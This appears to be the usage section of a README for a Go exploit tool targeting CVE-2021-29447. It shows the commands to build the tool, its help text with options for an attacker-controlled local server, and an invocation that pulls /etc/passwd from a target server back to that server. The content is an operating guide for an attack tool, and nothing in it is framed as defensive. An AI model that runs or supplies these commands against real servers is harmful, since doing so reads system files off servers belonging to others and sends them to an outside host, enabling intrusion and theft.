$ go build

$ chmod +x exploit_cve-2021-29447

$ ./exploit_cve-2021-29447 --help                                               
Usage of ./exploit_cve-2021-29447:
  -local-server-ip string
        Use local server ip where a local server will be set
  -local-server-port int
        Use local server port to run local server on
  -o string
        Output file to save exploit's result
  -target-path string
        Use target path to point on file you want to get from target server

$ ./exploit_cve-2021-29447 -local-server-ip=<your ip address> -target-path=/etc/passwd